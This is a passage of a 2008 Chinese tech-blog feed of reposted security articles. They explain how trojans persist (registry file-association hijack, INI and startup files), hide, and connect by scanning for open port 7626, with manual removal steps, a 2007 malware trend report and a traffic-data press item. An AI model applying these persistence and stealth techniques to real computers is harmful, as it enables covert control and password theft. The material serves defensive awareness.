[drivers32]中有命令行,在其中寻找木马的启动命令。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4.Autoexec.bat和Config.sys:在C盘根目录下的这两个文件也可以启动木马。但这种加载方式一般都 需要控制端用户与服务端建立连接后，将已添加木马启动命令的同名 文件上传 到服务端覆盖这两个文件才行。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5.*.INI:即应用程序的启动配置文件，控制端利用这些文件能启动程序的特点，将制作好的带有木马 启动命令的同名文件上传到服务端覆盖这同名文件，这样就可以达到启动木马的目的了。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6.注册表:打开HKEY_CLASSES_ROOT&#92;文件类型&#92;shell&#92;open&#92;command主键,查看其键值。举个例子,国产木马&ldquo;冰河&rdquo;就是修改HKEY_CLASSES_ROOT&#92;txtfile&#92;shell&#92;open&#92;command下的键值,将&ldquo;C :&#92;WINDOWS &#92;NOTEPAD.EXE %1&rdquo;该为&ldquo;C:&#92;WINDOWS&#92;SYSTEM&#92;SYXXXPLR.EXE %1&rdquo;，这时你双击一个TXT文件 后，原本应用NOTEPAD打开文件的，现在却变成启动木马程序了。还要说明 的是不光是TXT文件，通过修改HTML，EXE，ZIP等文件的启动命令的键值都可以启动木马，不同之处只在于&ldquo;文件类型&rdquo;这个主键的差别，TXT是txtfile,ZIP是WINZIP，大家可以 试着去找一下。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 7.捆绑文件:实现这种触发条件首先要控制端和服务端已通过木马建立连接，然后控制端用户用工具软件将木马文件和某一应用程序捆绑在一起，然后上传到服务端覆盖原文件，这样即使 木马被删除了，只要运行捆绑了木马的应用程序，木马又会被安装上去了。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8.启动菜单:在&ldquo;开始---程序---启动&rdquo;选项下也可能有木马的触发条件。<br /><br />(2)木马运行过程<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 木马被激活后，进入内存，并开启事先定义的木马端口，准备与控制端建立连接。这时服务端用 户可以在MS-DOS方式下，键入NETSTAT -AN查看端口状态，一般个人电脑在脱机状态下是不会有端口开放的，如果有端口开放，你就要注意是否感染木马了。下面是电脑感染木马后，用NETSTAT命令查 看端口的两个实例： 其中①是服务端与控制端建立连接时的显示状态，②是服务端与控制端还未建立连接时的显示状态。<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在上网过程中要下载软件，发送信件，网上聊天等必然打开一些端口，下面是一些常用的端口：<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (1)1---1024之间的端口：这些端口叫保留端口，是专给一些对外通讯的程序用的，如FTP使用21， SMTP使用25，POP3使用110等。只有很少木马会用保留端口作为木马端口 的。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (2)1025以上的连续端口：在上网浏览网站时，浏览器会打开多个连续的端口下载文字，图片到本地 硬盘上，这些端口都是1025以上的连续端口。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (3)4000端口：这是OICQ的通讯端口。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (4)6667端口：这是IRC的通讯端口。 除上述的端口基本可以排除在外，如发现还有其它端口打开，尤其是数值比较大的端口，那就要怀疑 是否感染了木马，当然如果木马有定制端口的功能，那任何端口都有可能是木马端口。<br /><br />四.信息泄露:<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一般来说，设计成熟的木马都有一个信息反馈机制。所谓信息反馈机制是指木马成功安装后会收集 一些服务端的软硬件信息，并通过E-MAIL，IRC或ICO的方式告知控制端用户。<br /><br />五.建立连接：<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一个木马连接的建立首先必须满足两个条件：一是 服务端已安装了木马程序；二是控制端，服务端都要在线 。在此基础上控制端可以通过木马端口与服 务端建立连接。A 机为控制端，B机为服务端，对于A机来说要与B机建立连接必须知道B机的木马端口和IP地址，由于木马端口是A机事先设定的，为已知项，所以最重要的是如何获得B机的IP地址。获得B机的IP 地址的方法主要有两种：信息反馈和IP扫描。对于前一种已在上一节中已经介绍过了，不再赘述，我们重点来介绍IP扫描，因为B机装有木马程序，所以它的木马端口7626是处于开放状态的，所以现在A机只要扫描IP地址段中7626端口开放的主机就行了，例如图中B机的IP地址是202.102.47.56，当A机扫描到这个IP时发现它的7626端口是开放的，那么这个IP就会被添加到列表中，这时A机就可以通过木马的控制端程序向B机发出连接信号，B机中的木马程序收到信号后立即作出响应，当A机收到响应的信号后，开启一个随即端口1031与B机的木马端口7626建立连接，到这时一个木马连接才算真正建立。值得一提的要扫描整个IP地址段显然费时费力，一般来说控制端都是先通过信息反馈获得服务端的IP地址，由于拨号上网的IP是动态的，即用户每次上网的IP都是不同的，但是这个IP是在一定范围内变动的，如图中 B机的IP是202.102.47.56，那么B机上网IP的变动范围是在202.102.000.000---202.102.255.255，所以每次控制端只要搜索这个IP地址段就可以找到B机了。<br /><br />六.远程控制：<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 木马连接建立后，控制端端口和木马端口之间将会出现一条通道.控制端上的控制端程序可藉这条通道与服务端上的木马程序取得联系,并通过木马程序对服务端进行远 程控制。下面我们就介绍一下控制端具体能享有哪些控制权限，这远比你想象的要大。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (1)窃取密码：一切以明文的形式，*形式或缓存在CACHE中的密码都能被木马侦测到，此外很多木马还 提供有击键记录功能，它将会记录服务端每次敲击键盘的动作，所以一旦有木马入侵， 密码将很容易被窃取。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (2)文件操作：控制端可藉由远程控制对服务端上的文件进行删除,新建,修改,上传,下载,运行,更改属 性等一系列操作,基本涵盖了WINDOWS平台上所有的文件操作功能。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (3)修改注册表：控制端可任意修改服务端注册表，包括删除，新建或修改主键，子键，键值。有了这 项功能控制端就可以禁止服务端软驱，光驱的使用，锁住服务端的注册表，将服务端 上木马的触发条件设置得更隐蔽的一系列高级操作。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (4)系统操作：这项内容包括重启或关闭服务端操作系统，断开服务端网络连接，控制服务端的鼠标， 键盘，监视服务端桌面操作，查看服务端进程等，控制端甚至可以随时给服务端发送信息. <br /><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1718</link>
<title><![CDATA[转帖：网络防黑之木马篇]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Sun, 02 Mar 2008 16:37:35 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1718</guid> 
<description>
<![CDATA[ 
	　　&nbsp;&nbsp;&nbsp;&nbsp;特洛伊木马(以下简称木马)，英文叫做&ldquo;Trojan house&rdquo;，其名称取自希腊神话的特洛伊木马记,它是一种基于远程控制的黑客工具。在黑客进行的各种攻击行为中，木马都起到了开路先锋的作用。<br /> <br /> 　　一、木马的危害相信木马对于众多网民来说不算陌生。它是一种远程控制工具，以简便、易行、有效而深受广大黑客青睐。一台电脑一旦中上木马，它就变成了 一台傀儡机，对方可以在你的电脑上上传下载文件，偷窥你的私人文件，偷取你的各种密码及口令信息&hellip;&hellip;中了木马你的一切秘密都将暴露在别人面前，隐私？不复 存在！<br /> <br /> 　　木马在黑客入侵中也是一种不可缺少的工具。就在去年的10月28日，一个黑客入侵了美国微软的门户网站，而网站的一些内部信息则是被一种叫做QAZ的木马传出去的。就是这小小的QAZ让庞大的微软丢尽了颜面！<br /> <br /> 　　广大网民比较熟悉的木马当数国产软件冰河了。冰河是由黄鑫开发的免费软件，冰河面世后，以它简单的操作方法和强大的控制能力令人胆寒，可以说是达到了谈&ldquo;冰&rdquo;色变的地步。<br /> <br /> 　　二、木马原理特洛伊木马属于客户/服务模式。它分为两大部分，即客户端和服务端。其原理是一台主机提供服务（服务器），另一台主机接受服务（客户 机），作为服务器的主机一般会打开一个默认的端口进行监听。如果有客户机向服务器的这一端口提出连接请求，服务器上的相应程序就会自动运行，来应答客户机 的请求。这个程序被称为守护进程。以大名鼎鼎的木马冰河为例，被控制端可视为一台服务器，控制端则是一台客户机，服务端程序G_Server.exe是守 护进程，G_Client.exe是客户端应用程序。<br /> <br /> 　　为进一步了解木马，我们来看看它们的隐藏方式，木马隐藏方法主要有以下几种：<br /> <br /> 　　1.)在任务栏里隐藏这是最基本的。如果在windows的任务来历出现一个莫名其妙的图标，傻子都会明白怎么回事。在VB中，只要把form的Viseble属性设置为False，ShowInTaskBar设为False程序就不会出现在任务栏里了。<br /> <br /> 　　2.)在任务管理器里隐藏查看正在运行的进程最简单的方法就是按下ctrl+alt+del时出现的任务管理器。如果你按下ctrl+alt+del 后可以看见一个木马程序在运行，那么这肯定不是什么好的木马。所以，木马千方百计的伪装自己，使自己不出现在任务管理器里。木马发现把自己设为&ldquo;系统服 务&rdquo;就可以轻松的骗过去。因此希望通过按ctrl+alt+del发现木马是不大现实的。<br /> <br /> 　　3.)端口一台机器由65536个端口，你会注意这么多端口么？而木马就很注意你的端口。如果你稍微留意一下，不难发现，大多数木马使用的端口在 1024以上，而且呈越来越大的趋势。当然也有占用1024以下端口的木马。但这些端口是常用端口，占用这些端口可能会造成系统不正常。这样的话，木马就 会很容易暴露。也许你知道一些木马占用的端口，你或许会经常扫描这些端口，但现在的木马都提供端口修改功能，你有时间扫描65536个端口么？<br /> <br /> 　　4.)木马的加载方式隐蔽木马加载的方式可以说千奇百怪，无奇不有。但殊途同归，都为了达到一个共同的目的，那就是使你运行木马的服务端程序。如果木 马不加任何伪装。就告诉你这是木马，你会运行它才怪呢。而随着网站互动化进程的不断进步，越来越多的东西可以成为木马的传播介质，JavaScript、 VBScript、ActiveX、XLM&hellip;&hellip;..几乎www每一个新功能都会导致木马的快速进化。<br /> <br /> 　　5.)木马的命名木马服务端程序的命名也有很大的学问。如果你不做任何修改的话，就使用原来的名字。谁不知道这是个木马程序呢？所以木马的命名也是千 奇百怪。不过大多是改为和系统文件名差不多的名字，如果你对系统文件不够了解，那可就危险了。例如有的木马把名字改为window.exe，如果不告诉你 这是木马的话，你敢删除么？还有的就是更改一些后缀名，比如把dll改为dl等，你不仔细看的话，你会发现么？<br /> <br /> 　　6.)最新隐身技术目前，除了以上所常用的隐身技术，又出现了一种更新、更隐蔽的方法。那就是修改虚拟设备驱动程序（vxd）或修改动态连接库 （DLL）。这种方法与一般方法不同，它基本上摆脱了原有的木马模式?监听端口，而采用替代系统功能的方法（改写vxd或DLL文件），木马会将修改后的 DLL替换系统已知的DLL，并对所有的函数调用进行过滤。对于常用的调用，使用函数转发器直接转发给被替换的系统DLL,对于一些事先约定好的特种情 况，DLL会执行一些相应的操作。实际上这样的木马多只是使用DLL进行监听，一旦发现控制端的连接请求就激活自身，绑在一个进程上进行正常的木马操作。 这样做的好处是没有增加新的文件，不需要打开新的端口，没有新的进程，使用常规的方法监测不到它，在正常运行时木马几乎没有任何症状，而一旦木马的控制端 向被控制端发出特定的信息后，隐藏的程序就立即开始运作。<br /> <br /> 　　三、木马防范工具防范木马可以使用防火墙软件和各种反黑软件，用它们筑起网上的马其诺防线，上网会安全许多。<br /> <br /> 　　网上防火墙软件很多，推荐使用&ldquo;天网防火墙个人版&rdquo;。它是一款完全的免费的软件，安装成功后，它就变成一面盾牌图表缩小到任务来的系统托盘里，并时刻监视黑客的一举一动，当有黑客入侵时，它就会自动报警，并显示入侵者的IP地址。<br /> <br /> 　　用鼠标双击盾牌图标，就会弹出天网的控制台，控制台上有&ldquo;普通设置&rdquo;、&ldquo;高级设置&rdquo;、&ldquo;安全设置&rdquo;、&ldquo;检测&rdquo;和&ldquo;关于&rdquo;五个标签。单击&ldquo;普通设置&rdquo;标 签，会看到有局域网安全设置和互联网安全设置两个窗口。我们可以通过拖动滑块来分别设置他们的安全级别等级。在此建议普通用户选择&ldquo;中&rdquo;(关闭了所有的 TCP端口服务，但UDP端口服务还开放着，别人无法通过端口的漏洞来入侵，它阻挡了几乎所有的蓝屏攻击和信息泄漏问题，并且不会影响普通网络软件的使 用)<br /> <br /> 　　在控制台上点&ldquo;高级设置&rdquo;就可以手工选择是否取消&ldquo;与网络连接&rdquo;&ldquo;ICMP&rdquo;、&ldquo;IGMP&rdquo;、&ldquo;TCP监听&rdquo;、&ldquo;UDP监听&rdquo;和&ldquo;NETBIOS&rdquo;这 几个选项。如果上网后有人想连接你的电脑，天网防火墙会将其自动拦截，并告警提示，同时在控制台的&ldquo;安全纪录&rdquo;里会将连接者的IP，协议，来源端口，防火 墙采取的操作，时间记录等攻击信息显示出来。<br /> <br /> 　　在控制台的&ldquo;检测&rdquo;、&ldquo;关于&rdquo;标签里主要有安全漏洞的说明，防火墙软件的版本号、注册人的号码等信息。如果你受到攻击想立刻断开网络，点一下控制台上的&ldquo;停&rdquo;就可以了。<br /> <br /> 　　四、木马的查杀木马的查杀，可以采用自动和手动两种方式。最简单的删除木马的方法是安装杀毒软件（自动），现在很多杀毒软件能删除网络最猖獗的木马，建议安装金山毒霸或安全之星XP，它们在查杀木马方面很有一套！<br /> <br /> 　　由于杀毒软件的升级多数情况下慢于木马的出现，因此学会手工查杀非常必要。方法是：<br /> <br /> 　　1.)检查注册表看HKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Windows&#92;Curren Version和HKEY_CURRENT_USER&#92;Software&#92;Microsoft&#92;Windows&#92;CurrentVersion下，所有以 &ldquo;Run&rdquo;开头的键值名，其下有没有可疑的文件名。如果有，就需要删除相应的键值，再删除相应的应用程序。<br /> <br /> 　　2.)检查启动组木马们如果隐藏在启动组虽然不是十分隐蔽，但这里的确是自动加载运行的好场所，因此还是有木马喜欢在这里驻留的。启动组对应的文件夹 为：C:&#92;windows&#92;start menu&#92;programs&#92;startup，在注册表中的位置：HKEY_CURRENT_USER&#92;Software&#92;Microsoft&#92; Windows&#92;CurrentVersion&#92;Explorer&#92;ShellFolders Startup=&quot;C:&#92;windows&#92;start menu&#92;programs&#92;startup&quot;。要注意经常检查这两个地方哦！<br /> <br /> 　　3.)Win.ini以及System.ini也是木马们喜欢的隐蔽场所，要注意这些地方比方说，Win.ini的[Windows]小节下的 load和run后面在正常情况下是没有跟什么程序的，如果有了那就要小心了，看看是什么；在System.ini的[boot]小节的Shell= Explorer.exe后面也是加载木马的好场所，因此也要注意这里了。当你看到变成这样：Shell=Explorer.exe wind0ws.exe，请注意那个wind0ws.exe很有可能就是木马服务端程序！赶快检查吧。<br /> <br /> 　　4.)对于下面所列文件也要勤加检查，木马们也很可能隐藏在那里C:&#92;windows&#92;winstart.bat、C:&#92;windows&#92;wininit.ini、Autoexec.bat。<br /> <br /> 　　5.)如果是EXE文件启动，那么运行这个程序，看木马是否被装入内存，端口是否打开。如果是的话，则说明要么是该文件启动木马程序，要么是该文件捆绑了木马程序，只好再找一个这样的程序，重新安装一下了。<br /> <br /> 　　6.)万变不离其宗，木马启动都有一个方式，它只是在一个特定的情况下启动所以，平时多注意一下你的端口，查看一下正在运行的程序，用此来监测大部分木马应该没问题的。<br /> <br /> 　　只要我们能够提高自身的素质，加强网络安全意识，远离木马是完全可能的，没准你也能成为木马查杀高手呢！<br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1717</link>
<title><![CDATA[转帖：2007年病毒感染三千余万台电脑 呈五大特征]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Sun, 02 Mar 2008 05:42:46 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1717</guid> 
<description>
<![CDATA[ 
	<span>&nbsp;&nbsp; 2008年1月2日，国内最大的计算机反病毒软件供应商江民科技发布了年度计算机病毒疫情报告及年度十大病毒排行。&nbsp;&nbsp; </span><p><span>&nbsp;&nbsp;&nbsp;&nbsp;据江民反病毒预警中心、江民全球病毒监测网提供的数据显示，截至12月份，江民反病毒中心共截获计算机新病毒总数为363000余种，这一数字是2006年的六倍多，至此江民杀毒软件KV系列病毒库总量已经超过80万。2007年全年病毒累计感染电脑&nbsp;&nbsp;34414793台，新病毒感染电脑台数为28879529台，其中木马病毒感染24875117&nbsp;&nbsp;台，占病毒总数的72.28%；后门病毒感染1987821台，占病毒总数的5.78%；蠕虫病毒感染1556124台，占病毒总数的4.52%；流氓软件感染2502563台，占病毒总数的7.27%；脚本病毒80026台，占病毒总数的0.23%。&nbsp;&nbsp; </span></p><p align="center"><span><img src="http://news.xinhuanet.com/internet/2008-01/03/xinsrc_432010503161621807501.jpg" border="0" /></span></p> <p align="center"><span><img style="width: 552px; height: 355px" src="http://news.xinhuanet.com/internet/2008-01/03/xinsrc_4320105031616531243442.jpg" border="0" width="562" height="370" /></span></p> <p><span>&nbsp;&nbsp;&nbsp;&nbsp;2007年上半年计算机病毒增长较为平缓，下半年计算机病毒增长迅猛，江民反病毒中心全年截获的病毒中，有三分之二的新病毒系下半年截获，平均日升级病毒数量近2000种。综合来看，2007年计算机病毒呈现以下特征：&nbsp;&nbsp; </span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000ff">一、AUTO类病毒发作率居高不下，移动存储安全堪扰</span>&nbsp;&nbsp;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;利有微软系统AUTORUN自动播放功能的病毒进入2007年以后一直居高不下， 几乎所有新的木马病毒都具备了这一传播特征。例如年度十大病毒&ldquo;熊猫烧香&rdquo;、&ldquo;ANI病毒&rdquo;等都可利用AUTORUN自动播放功能通过U盘传播。去年底和 今年年底爆发的&ldquo;熊猫烧香&rdquo;病毒导致上百万台电脑受到损害，而U盘正是病毒传播和藏身的主要介质。 &ldquo;熊猫烧香&rdquo;病毒会向U盘释放出一个名为&ldquo;autorun.inf&rdquo;的病毒文件，使用U盘的用户只要双击U盘，就会激活并运行病毒。&ldquo;ANI病毒&rdquo;同样具 有这一特征，病毒除了自我复制到各逻辑磁盘根目录下，创建&ldquo;autorun.inf&rdquo;自动播放配置文件，用户一旦双击盘符即可激活病毒，造成再次感染。许 多通过网页挂马传播的病毒均具有此类特征，普通用户即使格式化C盘重装系统，双击带毒U盘或其它硬盘分区，病毒仍然能够激活。 </span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;据不完全统计，中国国内的U盘和移动硬盘的保有量在2006年已经突破 3000万只。U盘和移动硬盘已经成为了IT从业人员以及商务人士必备的基本沟通工具。如同当年的软盘一样，U盘已经成为最大的计算机病毒载体，保护U盘 等移动存储设备数据安全，阻止病毒通过U盘等移动存储设备疯狂传播，已经成为反病毒厂商面临的主要问题之一。 </span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000ff">二、应用软件漏洞成网页挂马新宠</span>&nbsp;&nbsp;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;众所周知，近几年以来，微软系统漏洞一直是网页木马的最主要传播途径。然而，2007年下半年，江民科技反病毒中心最新的监测结果显示，越来越多的病毒开始绕开微软系统漏洞，转而利用国产应用软件的漏洞传播。&nbsp;&nbsp; </span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;江民科技反病毒中心最新的网页挂马漏洞监测结果显示，自2007年9月到11月这短短的三个月以来，国产应用软件漏洞已经超越了微软MS06-14和MS07-17这两大网页木马最常用的漏洞，成为网页挂马的&ldquo;新宠&rdquo;。&nbsp;&nbsp; </span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;监测结果显示，9月初网页木马利用微软漏洞比例还高达90%，而进入10月以来网 页木马利用国产应用软件漏洞的比例大幅提高，到11月网页木马利用国产应用软件漏洞的比例达到了45%，而利用微软漏洞的比例仅为30%，网页挂马利用国 产应用软件漏洞进行传播已经成为病毒发展新趋势。</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000ff">三、自杀式病毒越来越多，隐蔽性更强</span>&nbsp;&nbsp;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;进入2007年以来，更多的病毒开始刻意隐藏自身，以此逃避杀毒软件查杀并更深地 潜伏在目标电脑中，在电脑用户毫无知觉的情况下完成盗号窃密过程。与去年&ldquo;熊猫烧香&rdquo;发作后在电脑中生成无处不在的熊猫图案不同，现在的病毒作者在编写病 毒时更加注重自身的隐蔽。病毒作者主要采用三大隐身术，通过RootKit技术隐藏病毒进程、病毒文件、隐藏数据传输端口以及注册表内键值；通过篡改注册 表相关键值屏蔽显示隐藏文件的功能；使用IEFO重定向劫持技术禁止杀毒软件运行。 </span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;如&ldquo;证券大盗&rdquo;病毒在完成盗号目的后，就会自杀，清除所有自身留在电脑里的蛛 丝马迹，让受害者找不到任何破案线索；而灰鸽子(Backdoor/Huigezi)后门病毒、友好客户(Backdoor/PcClient)后门病 毒，以及部分版本的网游大盗(Trojan/PSW.GamePass)木马等，都采用RootKit技术编写，以达到隐藏自身，躲避检测，躲避查杀的目 的。 </span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000ff">四、ARP病毒多发 企业局域网受害严重</span>&nbsp;&nbsp;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;2007年上半年，江民科技就已经提出ARP病毒将成为病毒发展的一个新趋势，果 然在下半年，ARP类越来越多，几乎多数企业的网络故障均来自ARP病毒。ARP病毒也叫做ARP地址欺骗类病毒，是一类特殊的病毒。该病毒一般属于木马 病毒，不具备主动传播的特性，不会自我复制，但是由于其发作的时候会向全网发送伪造的ARP数据包，严重干扰全网的正常运行，其危害甚至比一些蠕虫病毒还 要严重得多。 </span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;ARP病毒发作时，通常会造成网络掉线，但网络连接正常，内网的部分电脑不能 上网，或者所有电脑均不能上网，无法打开网页或打开网页慢以及局域网连接时断时续并且网速较慢等现象，严重影响到企业网络、网吧、校园网络等局域网的正常 运行。更为严重的是，近期网上流行的ARP病毒新变种出现了新特征，该类ARP病毒同样是向全网发送伪造的ARP欺骗广播，但病毒把自身伪装成网关，在所 有用户请求访问的网页添加恶意代码，导致杀毒软件在用户访问任意网站均发出病毒警报。 </span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000ff">五、越来越多的病毒通过视频文件传播</span>&nbsp;&nbsp;</span></p><p><span>&nbsp;&nbsp;&nbsp;&nbsp;随着2007年BT以及播客的应用与繁荣，众多网民热衷于网上下载电影、电视等视 频文件，病毒开始瞄准这一传播途径大肆传播。黑客最常用的视频漏洞无疑应该是Real脚本漏洞。由于Real格式的视频文件可以内嵌一个网址，并在打开视 频文件时自动打开内嵌的网址，因此许多黑客在一些热门的视频文件内嵌入一个带有大量病毒的恶意网址。一旦网友下载并打开了该视频文件，即可从嵌入的恶意网 址中下载大量的病毒，轻者电脑运行缓慢直至死机，严重的中毒电脑将会成为黑客手中肉鸡，电脑内所有的数据和资料都可以被黑客轻易窃取。由于利用Real格 式的视频传播病毒非常简单方便，大量的网友中招，因此利用该漏洞的Exploit.JS.Real（Real脚本病毒）得以迅速蔓延，也因此被列入 2007年十大病毒之列。</span></p><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BD%2591%25E7%25BB%259C" rel="tag">网络</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1716</link>
<title><![CDATA[转帖：网络界领军机构共同打造中国互联网数据体系]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[Web开发]]></category>
<pubDate>Sat, 01 Mar 2008 16:54:32 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1716</guid> 
<description>
<![CDATA[ 
	2008年03月01日18:18 <span class="linkRed02"> 千龙网 </span><!--正文内容开始--> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<!-- google_ad_section_start --> &nbsp;&nbsp;&nbsp;&nbsp;<div id="artibody" class="artibody"> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p>　 　3月1日，国内互联网行业领军企业、行业协会负责人和业界专家以及政府主管部门在京举行名为&quot;共建行业数据标准 共筑中国数据体系&quot;的专题活动。活动期间，国内最大的网站流量第三方全样本统计服务平台--万瑞互联网数据平台正式亮相，各方代表就建立符合中国互联网本 地市场实际情况的数据标准与数据体系达成基本共识，并签署了一份相关的倡议书。 </p> <p>　　经过10多年高速发展，中国互联网行业无论是在基础网络建设，用户规模、网站种类及数量，还是在相关上下游产业方面的发展都取得了世人瞩目的成 就。但是，在中国互联网高速发展过程中，也存在诸多问题与不足，其中最大的问题就是缺乏完整、统一并符合中国互联网本地市场特点的数据标准、数据体系，缺 乏一个能够处理海量数据的全样本网站流量第三方统计服务平台。本地化数据体系、数据标准的长期缺失，导致业界很难准确评价一个网站的运营状况和商业价值； 广告主和广告公司也很难对一个网站的媒介价值和广告投放价值做出准确的评估。互联网从业者和上下游企业、机构不得不严重依赖类似Alexa等存在严重缺陷 和完全与中国互联网本地市场实际情况相悖的境外数据与体系。少数网络企业为了迎合这些海外游戏规则，甚至采取了一些不正当的恶性竞争手段，进而也使得国际 互联网业界、学界和资本市场经常误解、曲解了中国互联网行业的发展状况。这些问题已经成为制约中国互联网行业进一步发展的瓶颈。 </p> <p>　　出席活动的中国互联网三大门户掌门人曹国伟、张朝阳、丁磊和近百家中国互联网领军网站的代表们共同倡议，为了促进中国互联网行业健康持久地发 展，保障互联网行业上下游企业的利益和广大网民的利益，新浪、搜狐、网易等中国互联网站将以中国自己的互联网数据平台为基础，携手建立符合中国互联网本地 市场特点，统一、客观、准确、公正和全面的中国互联网第三方数据体系和数据标准。来自多个政府相关管理部门的代表则对互联网业界打造符合中国互联网本土特 征、同时又与国际互联网通行标准完全接轨，共同维护中国互联网信息安全的盛举表示积极支持。 </p> <p>　　在活动中，<a href="http://www.dratio.com/" target="_blank" class="akey">北京缔元信互联网数据技术有限公司</a>发 布的该公司自主研发的万瑞互联网数据平台和万瑞互联网数据指标体系，受到与会各方的高度认同。据悉，万瑞互联网数据平台目前已经为新浪、搜狐、网易、央视 国际、中华网、Tom网、酷6、优酷、奇虎、和讯、硅谷动力等近30家大中型门户网站、视频类网站、社区类网站、行业网站和7000多家中小网站提供 7*24小时的全样本、全天候、全方位流量统计服务，平台数据日处理量已达15亿PV(Page View)，今年底将达到每天30亿PV。通过由30多个通用数据指标和20多个用于不同类型网站的特色指标构成的分类网站统计系统，万瑞数据可以全面反 映一个网站的用户规模、浏览量、用户访问行为、用户忠诚度、用户关注的内容、用户来源、网站推广效果等各方面的情况，从而科学、客观地反映网站的运营水 平，体现网站的真正价值。并且通过专业的数据分析，帮助网站管理者及时诊断网站运营所存在的问题，提出改进建议；通过数据挖掘，定期发布专项分析报告和行 业数据报告，反映互联网行业和垂直市场的发展状况与趋势。本次活动上，万瑞数据发布了基于对中国主流奥运网站监测数据进行分析，反映去年8月份以来奥运网 络报道效果的《网络奥运传播及用户行为分析报告》；基于用户访问行为数据的分析，反映网上用户关注度的《万瑞数据.网络晴雨表》以及《用户行为分析系列报 告之一：访问时间特征和行业重合度》。万瑞数据还将推出面向网络广告用户和互联网投资者的各种数据报告，据悉其已经发布和即将发布的数据产品总数已达33 种。 </p> <p>　　与国外同类产品相比，万瑞数据凭借团队在中国互联网行业从业多年的经历，具有本土化经验丰富、服务灵活、技术开发能力强等多种优势。万瑞数据是 目前国内市场上唯一做到面向三大门户等超大型网站提供全样本数据采集和计算，并能够每小时发布实时数据的第三方服务平台，是唯一能够为不同类型网站提供不 同指标组合的数据统计平台，是能够为网站的不同需求及时提供定制化解决方案的数据统计分析平台。万瑞数据已经推出的各种统计模块，既全面又灵活地满足了网 站及产业上下游用户的各种需要。 </p> <p>　　参加活动的中国广告协会秘书长时学志和中国人民大学新闻学院常务副院长、博士生导师高钢教授等指出，业界人士呼吁建立统一数据体系和数据标准已 经由来已久，但始终没有取得实质性的进展，其主要原因之一是缺乏能够支持海量数据的稳定和可靠的统一技术平台。因此，万瑞数据平台的推出为真正实现这一业 